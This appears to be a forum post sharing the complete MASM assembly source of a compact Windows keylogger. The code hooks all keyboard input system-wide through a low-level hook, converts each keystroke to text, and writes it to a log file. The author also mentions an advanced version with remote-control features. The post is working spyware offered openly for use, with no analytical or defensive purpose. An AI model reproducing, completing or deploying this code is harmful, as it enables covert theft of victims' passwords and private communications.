After seeing countless huge, bloated keyloggers in the other programming sections, I decided to write a tiny one in assembly - end result: a whopping 2.30kb in source makes a 2.5kb EXE file.
The main focus for this version was simplicity & bare bones so the output is VERY raw and it's very limited in features (hardcoded save path, Keeping the ALT key pressed keeps recording it etc etc). I also have an update advanced version which applies formatting, and even has some 'remote control' features built in (turn on/off logging etc) for which the EXE weighs in at a hefty.. 4.5kb
Code:
.586
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
KeyBoardProc PROTO :DWORD, :DWORD, :DWORD
KBDLLHOOKSTRUCT struct
vkCode dword ?
scanCode dword ?
flags dword ?
time dword ?
dwExtraInfo dword ?
KBDLLHOOKSTRUCT ends
.data
mutex db "B1ackAnge1sKeyLogger",0
logFile db "log.txt",0
hFile HANDLE 0
hHook HHOOK 0
msg MSG <>
nBytesWritten dd 0
.code
main:
invoke CreateMutex,0,0,offset mutex
call GetLastError
cmp eax, ERROR_ALREADY_EXISTS
je _quit
invoke RegisterHotKey,0,0B1C5437h,MOD_ALT,VK_F12
invoke CreateFile,offset logFile,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov [hFile], eax
invoke GetModuleHandle,0
invoke SetWindowsHookEx,WH_KEYBOARD_LL, KeyBoardProc,eax,0 ;eax holds value from GetModuleHandle
mov [hHook], eax
invoke GetMessage,offset msg,0,0,0
_finalize:
invoke UnhookWindowsHookEx,offset hHook
invoke CloseHandle,offset hFile
_quit:
invoke ExitProcess,0
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpBuffer[32]:BYTE
LOCAL lpKeyState[256] :BYTE
cmp hFile, 0
jz _nexthook
mov eax, wParam
cmp eax, WM_KEYUP
je _nexthook
cmp eax, WM_SYSKEYUP
je _nexthook
xor eax,eax
lea edi, lpBuffer
mov ecx, 8
rep stosd
lea edi, lpKeyState
mov ecx, 64
rep stosd
invoke GetKeyboardState,lpKeyState
mov ebx, lParam
assume ebx:ptr KBDLLHOOKSTRUCT
invoke ToAscii,[ebx].vkCode,[ebx].scanCode,lpKeyState,lpBuffer,0
test eax, eax
jnz _save
_translateKey: ;Basically if we got here it was a 'non-ascii' key
xor ecx,ecx
mov eax,[ebx].scanCode
mov ecx,02000000h
shl eax, 16
or ecx, eax
mov eax,[ebx].flags
shl eax, 24
or ecx,eax
lea edi, lpBuffer
invoke GetKeyNameText,ecx,edi,32
mov edx, eax
_save:
invoke WriteFile,hFile,addr lpBuffer,edx,offset nBytesWritten,0
_nexthook:
invoke CallNextHookEx,hHook,nCode, wParam,lParam
ret
KeyBoardProc ENDP
end main